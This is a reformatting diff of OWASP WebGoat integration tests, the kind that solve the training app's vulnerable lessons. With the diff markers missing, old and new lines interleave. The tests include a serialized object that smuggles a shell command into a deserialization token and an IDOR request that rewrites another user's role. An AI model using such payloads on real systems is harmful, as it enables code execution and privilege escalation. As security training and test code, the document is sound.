private void checkAssignmentSigning() throws NoSuchAlgorithmException, InvalidKeySpecException {
|
||||
|
||||
String privatePEM = RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("/crypto/signing/getprivate"))
|
||||
.then()
|
||||
.extract().asString();
|
||||
PrivateKey privateKey = CryptoUtil.getPrivateKeyFromPEM(privatePEM);
|
||||
|
||||
RSAPrivateKey privk = (RSAPrivateKey) privateKey;
|
||||
String modulus = DatatypeConverter.printHexBinary(privk.getModulus().toByteArray());
|
||||
String signature = CryptoUtil.signMessage(modulus, privateKey);
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("modulus", modulus);
|
||||
params.put("signature", signature);
|
||||
checkAssignment(url("/crypto/signing/verify"), params, true);
|
||||
// Assignment 4
|
||||
try {
|
||||
checkAssignment4();
|
||||
} catch (NoSuchAlgorithmException e) {
|
||||
e.printStackTrace();
|
||||
fail();
|
||||
}
|
||||
|
||||
private void checkAssignmentDefaults() {
|
||||
|
||||
String text = new String(Base64.getDecoder().decode("TGVhdmluZyBwYXNzd29yZHMgaW4gZG9ja2VyIGltYWdlcyBpcyBub3Qgc28gc2VjdXJl".getBytes(Charset.forName("UTF-8"))));
|
||||
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("secretText", text);
|
||||
params.put("secretFileName", "default_secret");
|
||||
checkAssignment(url("/crypto/secure/defaults"), params, true);
|
||||
try {
|
||||
checkAssignmentSigning();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
fail();
|
||||
}
|
||||
|
||||
|
||||
checkAssignmentDefaults();
|
||||
|
||||
checkResults("/crypto");
|
||||
}
|
||||
|
||||
private void checkAssignment2() {
|
||||
|
||||
String basicEncoding =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("/crypto/encoding/basic"))
|
||||
.then()
|
||||
.extract()
|
||||
.asString();
|
||||
basicEncoding = basicEncoding.substring("Authorization: Basic ".length());
|
||||
String decodedString = new String(Base64.getDecoder().decode(basicEncoding.getBytes()));
|
||||
String answer_user = decodedString.split(":")[0];
|
||||
String answer_pwd = decodedString.split(":")[1];
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("answer_user", answer_user);
|
||||
params.put("answer_pwd", answer_pwd);
|
||||
checkAssignment(url("/crypto/encoding/basic-auth"), params, true);
|
||||
}
|
||||
|
||||
private void checkAssignment3() {
|
||||
String answer_1 = "databasepassword";
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("answer_pwd1", answer_1);
|
||||
checkAssignment(url("/crypto/encoding/xor"), params, true);
|
||||
}
|
||||
|
||||
private void checkAssignment4() throws NoSuchAlgorithmException {
|
||||
|
||||
String md5Hash =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("/crypto/hashing/md5"))
|
||||
.then()
|
||||
.extract()
|
||||
.asString();
|
||||
|
||||
String sha256Hash =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("/crypto/hashing/sha256"))
|
||||
.then()
|
||||
.extract()
|
||||
.asString();
|
||||
|
||||
String answer_1 = "unknown";
|
||||
String answer_2 = "unknown";
|
||||
for (String secret : HashingAssignment.SECRETS) {
|
||||
if (md5Hash.equals(HashingAssignment.getHash(secret, "MD5"))) {
|
||||
answer_1 = secret;
|
||||
}
|
||||
if (sha256Hash.equals(HashingAssignment.getHash(secret, "SHA-256"))) {
|
||||
answer_2 = secret;
|
||||
}
|
||||
}
|
||||
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("answer_pwd1", answer_1);
|
||||
params.put("answer_pwd2", answer_2);
|
||||
checkAssignment(url("/WebGoat/crypto/hashing"), params, true);
|
||||
}
|
||||
|
||||
private void checkAssignmentSigning() throws NoSuchAlgorithmException, InvalidKeySpecException {
|
||||
|
||||
String privatePEM =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("/crypto/signing/getprivate"))
|
||||
.then()
|
||||
.extract()
|
||||
.asString();
|
||||
PrivateKey privateKey = CryptoUtil.getPrivateKeyFromPEM(privatePEM);
|
||||
|
||||
RSAPrivateKey privk = (RSAPrivateKey) privateKey;
|
||||
String modulus = DatatypeConverter.printHexBinary(privk.getModulus().toByteArray());
|
||||
String signature = CryptoUtil.signMessage(modulus, privateKey);
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("modulus", modulus);
|
||||
params.put("signature", signature);
|
||||
checkAssignment(url("/crypto/signing/verify"), params, true);
|
||||
}
|
||||
|
||||
private void checkAssignmentDefaults() {
|
||||
|
||||
String text =
|
||||
new String(
|
||||
Base64.getDecoder()
|
||||
.decode(
|
||||
"TGVhdmluZyBwYXNzd29yZHMgaW4gZG9ja2VyIGltYWdlcyBpcyBub3Qgc28gc2VjdXJl"
|
||||
.getBytes(Charset.forName("UTF-8"))));
|
||||
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("secretText", text);
|
||||
params.put("secretFileName", "default_secret");
|
||||
checkAssignment(url("/crypto/secure/defaults"), params, true);
|
||||
}
|
||||
}
|
||||
|
@ -1,34 +1,33 @@
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import org.dummy.insecure.framework.VulnerableTaskHolder;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.owasp.webgoat.lessons.deserialization.SerializationHelper;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import org.dummy.insecure.framework.VulnerableTaskHolder;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.owasp.webgoat.lessons.deserialization.SerializationHelper;
|
||||
|
||||
public class DeserializationIntegrationTest extends IntegrationTest {
|
||||
|
||||
private static String OS = System.getProperty("os.name").toLowerCase();
|
||||
private static String OS = System.getProperty("os.name").toLowerCase();
|
||||
|
||||
@Test
|
||||
public void runTests() throws IOException {
|
||||
startLesson("InsecureDeserialization");
|
||||
@Test
|
||||
public void runTests() throws IOException {
|
||||
startLesson("InsecureDeserialization");
|
||||
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
|
||||
if (OS.indexOf("win") > -1) {
|
||||
params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5")));
|
||||
} else {
|
||||
params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5")));
|
||||
}
|
||||
checkAssignment(url("/WebGoat/InsecureDeserialization/task"), params, true);
|
||||
|
||||
checkResults("/InsecureDeserialization/");
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
|
||||
if (OS.indexOf("win") > -1) {
|
||||
params.put(
|
||||
"token",
|
||||
SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5")));
|
||||
} else {
|
||||
params.put(
|
||||
"token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5")));
|
||||
}
|
||||
checkAssignment(url("/WebGoat/InsecureDeserialization/task"), params, true);
|
||||
|
||||
|
||||
checkResults("/InsecureDeserialization/");
|
||||
}
|
||||
}
|
||||
|
@ -61,7 +61,8 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
|
||||
params.clear();
|
||||
params.put(
|
||||
"question_0_solution",
|
||||
"Solution 3: By stealing a database where names and emails are stored and uploading it to a website.");
|
||||
"Solution 3: By stealing a database where names and emails are stored and uploading it to a"
|
||||
+ " website.");
|
||||
params.put(
|
||||
"question_1_solution",
|
||||
"Solution 1: By changing the names and emails of one or more users stored in a database.");
|
||||
|
@ -1,13 +1,14 @@
|
||||
package org.owasp.webgoat;
|
||||
|
||||
|
||||
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import io.restassured.http.ContentType;
|
||||
import java.io.IOException;
|
||||
import java.util.Arrays;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import lombok.SneakyThrows;
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.hamcrest.MatcherAssert;
|
||||
import org.junit.jupiter.api.AfterEach;
|
||||
@ -15,84 +16,81 @@ import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.DynamicTest;
|
||||
import org.junit.jupiter.api.TestFactory;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import io.restassured.http.ContentType;
|
||||
import lombok.SneakyThrows;
|
||||
|
||||
public class IDORIntegrationTest extends IntegrationTest {
|
||||
|
||||
@BeforeEach
|
||||
@SneakyThrows
|
||||
public void init() {
|
||||
startLesson("IDOR");
|
||||
}
|
||||
|
||||
@TestFactory
|
||||
Iterable<DynamicTest> testIDORLesson() {
|
||||
return Arrays.asList(
|
||||
dynamicTest("login",()-> loginIDOR()),
|
||||
dynamicTest("profile", () -> profile())
|
||||
);
|
||||
}
|
||||
|
||||
@AfterEach
|
||||
public void shutdown() throws IOException {
|
||||
checkResults("/IDOR");
|
||||
}
|
||||
|
||||
private void loginIDOR() throws IOException {
|
||||
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("username", "tom");
|
||||
params.put("password", "cat");
|
||||
|
||||
|
||||
checkAssignment(url("/WebGoat/IDOR/login"), params, true);
|
||||
|
||||
}
|
||||
|
||||
private void profile() {
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("/WebGoat/IDOR/profile"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().path("userId"), CoreMatchers.is("2342384"));
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("attributes", "userId,role");
|
||||
checkAssignment(url("/WebGoat/IDOR/diff-attributes"), params, true);
|
||||
params.clear();
|
||||
params.put("url", "WebGoat/IDOR/profile/2342384");
|
||||
checkAssignment(url("/WebGoat/IDOR/profile/alt-path"), params, true);
|
||||
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("/WebGoat/IDOR/profile/2342388"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
||||
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.contentType(ContentType.JSON) //part of the lesson
|
||||
.body("{\"role\":\"1\", \"color\":\"red\", \"size\":\"large\", \"name\":\"Buffalo Bill\", \"userId\":\"2342388\"}")
|
||||
.put(url("/WebGoat/IDOR/profile/2342388"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().path("lessonCompleted"), CoreMatchers.is(true));
|
||||
|
||||
|
||||
}
|
||||
|
||||
@BeforeEach
|
||||
@SneakyThrows
|
||||
public void init() {
|
||||
startLesson("IDOR");
|
||||
}
|
||||
|
||||
@TestFactory
|
||||
Iterable<DynamicTest> testIDORLesson() {
|
||||
return Arrays.asList(
|
||||
dynamicTest("login", () -> loginIDOR()), dynamicTest("profile", () -> profile()));
|
||||
}
|
||||
|
||||
@AfterEach
|
||||
public void shutdown() throws IOException {
|
||||
checkResults("/IDOR");
|
||||
}
|
||||
|
||||
private void loginIDOR() throws IOException {
|
||||
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("username", "tom");
|
||||
params.put("password", "cat");
|
||||
|
||||
checkAssignment(url("/WebGoat/IDOR/login"), params, true);
|
||||
}
|
||||
|
||||
private void profile() {
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("/WebGoat/IDOR/profile"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.path("userId"),
|
||||
CoreMatchers.is("2342384"));
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("attributes", "userId,role");
|
||||
checkAssignment(url("/WebGoat/IDOR/diff-attributes"), params, true);
|
||||
params.clear();
|
||||
params.put("url", "WebGoat/IDOR/profile/2342384");
|
||||
checkAssignment(url("/WebGoat/IDOR/profile/alt-path"), params, true);
|
||||
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("/WebGoat/IDOR/profile/2342388"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(true));
|
||||
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.contentType(ContentType.JSON) // part of the lesson
|
||||
.body(
|
||||
"{\"role\":\"1\", \"color\":\"red\", \"size\":\"large\", \"name\":\"Buffalo Bill\","
|
||||
+ " \"userId\":\"2342388\"}")
|
||||
.put(url("/WebGoat/IDOR/profile/2342388"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(true));
|
||||
}
|
||||
}
|
||||
|
@ -1,231 +1,255 @@
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import static io.restassured.RestAssured.given;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import io.restassured.http.ContentType;
|
||||
import java.util.Map;
|
||||
import java.util.Objects;
|
||||
import lombok.Getter;
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.hamcrest.MatcherAssert;
|
||||
import org.junit.jupiter.api.AfterEach;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
|
||||
import java.util.Map;
|
||||
import java.util.Objects;
|
||||
|
||||
import static io.restassured.RestAssured.given;
|
||||
|
||||
public abstract class IntegrationTest {
|
||||
|
||||
private static String webGoatPort = Objects.requireNonNull(System.getProperty("webgoatport"));
|
||||
@Getter
|
||||
private static String webWolfPort = Objects.requireNonNull(System.getProperty("webwolfport"));
|
||||
private static boolean useSSL = false;
|
||||
private static String webgoatUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webGoatPort + "/WebGoat/";
|
||||
private static String webWolfUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webWolfPort + "/";
|
||||
@Getter
|
||||
private String webGoatCookie;
|
||||
@Getter
|
||||
private String webWolfCookie;
|
||||
@Getter
|
||||
private final String user = "webgoat";
|
||||
private static String webGoatPort = Objects.requireNonNull(System.getProperty("webgoatport"));
|
||||
|
||||
protected String url(String url) {
|
||||
url = url.replaceFirst("/WebGoat/", "");
|
||||
url = url.replaceFirst("/WebGoat", "");
|
||||
url = url.startsWith("/") ? url.replaceFirst("/", "") : url;
|
||||
return webgoatUrl + url;
|
||||
@Getter
|
||||
private static String webWolfPort = Objects.requireNonNull(System.getProperty("webwolfport"));
|
||||
|
||||
private static boolean useSSL = false;
|
||||
private static String webgoatUrl =
|
||||
(useSSL ? "https:" : "http:") + "//localhost:" + webGoatPort + "/WebGoat/";
|
||||
private static String webWolfUrl =
|
||||
(useSSL ? "https:" : "http:") + "//localhost:" + webWolfPort + "/";
|
||||
@Getter private String webGoatCookie;
|
||||
@Getter private String webWolfCookie;
|
||||
@Getter private final String user = "webgoat";
|
||||
|
||||
protected String url(String url) {
|
||||
url = url.replaceFirst("/WebGoat/", "");
|
||||
url = url.replaceFirst("/WebGoat", "");
|
||||
url = url.startsWith("/") ? url.replaceFirst("/", "") : url;
|
||||
return webgoatUrl + url;
|
||||
}
|
||||
|
||||
protected String webWolfUrl(String url) {
|
||||
url = url.replaceFirst("/WebWolf/", "");
|
||||
url = url.replaceFirst("/WebWolf", "");
|
||||
url = url.startsWith("/") ? url.replaceFirst("/", "") : url;
|
||||
return webWolfUrl + url;
|
||||
}
|
||||
|
||||
@BeforeEach
|
||||
public void login() {
|
||||
String location =
|
||||
given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.formParam("username", user)
|
||||
.formParam("password", "password")
|
||||
.post(url("login"))
|
||||
.then()
|
||||
.cookie("JSESSIONID")
|
||||
.statusCode(302)
|
||||
.extract()
|
||||
.header("Location");
|
||||
if (location.endsWith("?error")) {
|
||||
webGoatCookie =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.formParam("username", user)
|
||||
.formParam("password", "password")
|
||||
.formParam("matchingPassword", "password")
|
||||
.formParam("agree", "agree")
|
||||
.post(url("register.mvc"))
|
||||
.then()
|
||||
.cookie("JSESSIONID")
|
||||
.statusCode(302)
|
||||
.extract()
|
||||
.cookie("JSESSIONID");
|
||||
} else {
|
||||
webGoatCookie =
|
||||
given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.formParam("username", user)
|
||||
.formParam("password", "password")
|
||||
.post(url("login"))
|
||||
.then()
|
||||
.cookie("JSESSIONID")
|
||||
.statusCode(302)
|
||||
.extract()
|
||||
.cookie("JSESSIONID");
|
||||
}
|
||||
|
||||
protected String webWolfUrl(String url) {
|
||||
url = url.replaceFirst("/WebWolf/", "");
|
||||
url = url.replaceFirst("/WebWolf", "");
|
||||
url = url.startsWith("/") ? url.replaceFirst("/", "") : url;
|
||||
return webWolfUrl + url;
|
||||
}
|
||||
|
||||
@BeforeEach
|
||||
public void login() {
|
||||
String location = given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.formParam("username", user)
|
||||
.formParam("password", "password")
|
||||
.post(url("login")).then()
|
||||
.cookie("JSESSIONID")
|
||||
.statusCode(302)
|
||||
.extract().header("Location");
|
||||
if (location.endsWith("?error")) {
|
||||
webGoatCookie = RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.formParam("username", user)
|
||||
.formParam("password", "password")
|
||||
.formParam("matchingPassword", "password")
|
||||
.formParam("agree", "agree")
|
||||
.post(url("register.mvc"))
|
||||
.then()
|
||||
.cookie("JSESSIONID")
|
||||
.statusCode(302)
|
||||
.extract()
|
||||
.cookie("JSESSIONID");
|
||||
} else {
|
||||
webGoatCookie = given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.formParam("username", user)
|
||||
.formParam("password", "password")
|
||||
.post(url("login")).then()
|
||||
.cookie("JSESSIONID")
|
||||
.statusCode(302)
|
||||
.extract().cookie("JSESSIONID");
|
||||
}
|
||||
|
||||
webWolfCookie = RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.formParam("username", user)
|
||||
.formParam("password", "password")
|
||||
.post(webWolfUrl("login"))
|
||||
.then()
|
||||
.statusCode(302)
|
||||
.cookie("WEBWOLFSESSION")
|
||||
.extract()
|
||||
.cookie("WEBWOLFSESSION");
|
||||
}
|
||||
|
||||
@AfterEach
|
||||
public void logout() {
|
||||
webWolfCookie =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.get(url("logout"))
|
||||
.then()
|
||||
.statusCode(200);
|
||||
}
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.formParam("username", user)
|
||||
.formParam("password", "password")
|
||||
.post(webWolfUrl("login"))
|
||||
.then()
|
||||
.statusCode(302)
|
||||
.cookie("WEBWOLFSESSION")
|
||||
.extract()
|
||||
.cookie("WEBWOLFSESSION");
|
||||
}
|
||||
|
||||
public void startLesson(String lessonName) {
|
||||
startLesson(lessonName, false);
|
||||
}
|
||||
@AfterEach
|
||||
public void logout() {
|
||||
RestAssured.given().when().relaxedHTTPSValidation().get(url("logout")).then().statusCode(200);
|
||||
}
|
||||
|
||||
public void startLesson(String lessonName, boolean restart) {
|
||||
public void startLesson(String lessonName) {
|
||||
startLesson(lessonName, false);
|
||||
}
|
||||
|
||||
public void startLesson(String lessonName, boolean restart) {
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url(lessonName + ".lesson.lesson"))
|
||||
.then()
|
||||
.statusCode(200);
|
||||
|
||||
if (restart) {
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("service/restartlesson.mvc"))
|
||||
.then()
|
||||
.statusCode(200);
|
||||
}
|
||||
}
|
||||
|
||||
public void checkAssignment(String url, Map<String, ?> params, boolean expectedResult) {
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url(lessonName + ".lesson.lesson"))
|
||||
.then()
|
||||
.statusCode(200);
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.formParams(params)
|
||||
.post(url)
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(expectedResult));
|
||||
}
|
||||
|
||||
if (restart) {
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("service/restartlesson.mvc"))
|
||||
.then()
|
||||
.statusCode(200);
|
||||
}
|
||||
}
|
||||
public void checkAssignmentWithPUT(String url, Map<String, ?> params, boolean expectedResult) {
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.formParams(params)
|
||||
.put(url)
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(expectedResult));
|
||||
}
|
||||
|
||||
public void checkAssignment(String url, Map<String, ?> params, boolean expectedResult) {
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.formParams(params)
|
||||
.post(url)
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
|
||||
}
|
||||
// TODO is prefix useful? not every lesson endpoint needs to start with a certain prefix (they are
|
||||
// only required to be in the same package)
|
||||
public void checkResults(String prefix) {
|
||||
checkResults();
|
||||
|
||||
public void checkAssignmentWithPUT(String url, Map<String, ?> params, boolean expectedResult) {
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.formParams(params)
|
||||
.put(url)
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
|
||||
}
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("service/lessonoverview.mvc"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.jsonPath()
|
||||
.getList("assignment.path"),
|
||||
CoreMatchers.everyItem(CoreMatchers.startsWith(prefix)));
|
||||
}
|
||||
|
||||
//TODO is prefix useful? not every lesson endpoint needs to start with a certain prefix (they are only required to be in the same package)
|
||||
public void checkResults(String prefix) {
|
||||
checkResults();
|
||||
public void checkResults() {
|
||||
var result =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("service/lessonoverview.mvc"))
|
||||
.andReturn();
|
||||
|
||||
MatcherAssert.assertThat(RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("service/lessonoverview.mvc"))
|
||||
.then()
|
||||
.statusCode(200).extract().jsonPath().getList("assignment.path"), CoreMatchers.everyItem(CoreMatchers.startsWith(prefix)));
|
||||
MatcherAssert.assertThat(
|
||||
result.then().statusCode(200).extract().jsonPath().getList("solved"),
|
||||
CoreMatchers.everyItem(CoreMatchers.is(true)));
|
||||
}
|
||||
|
||||
}
|
||||
public void checkAssignment(
|
||||
String url, ContentType contentType, String body, boolean expectedResult) {
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.contentType(contentType)
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.body(body)
|
||||
.post(url)
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(expectedResult));
|
||||
}
|
||||
|
||||
public void checkResults() {
|
||||
var result = RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("service/lessonoverview.mvc"))
|
||||
.andReturn();
|
||||
public void checkAssignmentWithGet(String url, Map<String, ?> params, boolean expectedResult) {
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.queryParams(params)
|
||||
.get(url)
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.path("lessonCompleted"),
|
||||
CoreMatchers.is(expectedResult));
|
||||
}
|
||||
|
||||
MatcherAssert.assertThat(result.then()
|
||||
.statusCode(200).extract().jsonPath().getList("solved"), CoreMatchers.everyItem(CoreMatchers.is(true)));
|
||||
}
|
||||
|
||||
public void checkAssignment(String url, ContentType contentType, String body, boolean expectedResult) {
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.contentType(contentType)
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.body(body)
|
||||
.post(url)
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
|
||||
}
|
||||
|
||||
public void checkAssignmentWithGet(String url, Map<String, ?> params, boolean expectedResult) {
|
||||
MatcherAssert.assertThat(
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.queryParams(params)
|
||||
.get(url)
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult));
|
||||
}
|
||||
|
||||
public String getWebWolfFileServerLocation() {
|
||||
String result = RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||
.get(webWolfUrl("/file-server-location"))
|
||||
.then()
|
||||
.extract().response().getBody().asString();
|
||||
result = result.replace("%20", " ");
|
||||
return result;
|
||||
}
|
||||
|
||||
public String webGoatServerDirectory() {
|
||||
return RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("/server-directory"))
|
||||
.then()
|
||||
.extract().response().getBody().asString();
|
||||
}
|
||||
public String getWebWolfFileServerLocation() {
|
||||
String result =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||
.get(webWolfUrl("/file-server-location"))
|
||||
.then()
|
||||
.extract()
|
||||
.response()
|
||||
.getBody()
|
||||
.asString();
|
||||
result = result.replace("%20", " ");
|
||||
return result;
|
||||
}
|
||||
|
||||
public String webGoatServerDirectory() {
|
||||
return RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("/server-directory"))
|
||||
.then()
|
||||
.extract()
|
||||
.response()
|
||||
.getBody()
|
||||
.asString();
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -1,5 +1,16 @@
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import com.fasterxml.jackson.databind.JsonNode;
|
||||
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||
import com.fasterxml.jackson.databind.node.ObjectNode;
|
||||
import io.jsonwebtoken.Header;
|
||||
import io.jsonwebtoken.JwsHeader;
|
||||
import io.jsonwebtoken.Jwt;
|
||||
import io.jsonwebtoken.JwtException;
|
||||
import io.jsonwebtoken.Jwts;
|
||||
import io.jsonwebtoken.SignatureAlgorithm;
|
||||
import io.jsonwebtoken.impl.TextCodec;
|
||||
import io.restassured.RestAssured;
|
||||
import java.io.IOException;
|
||||
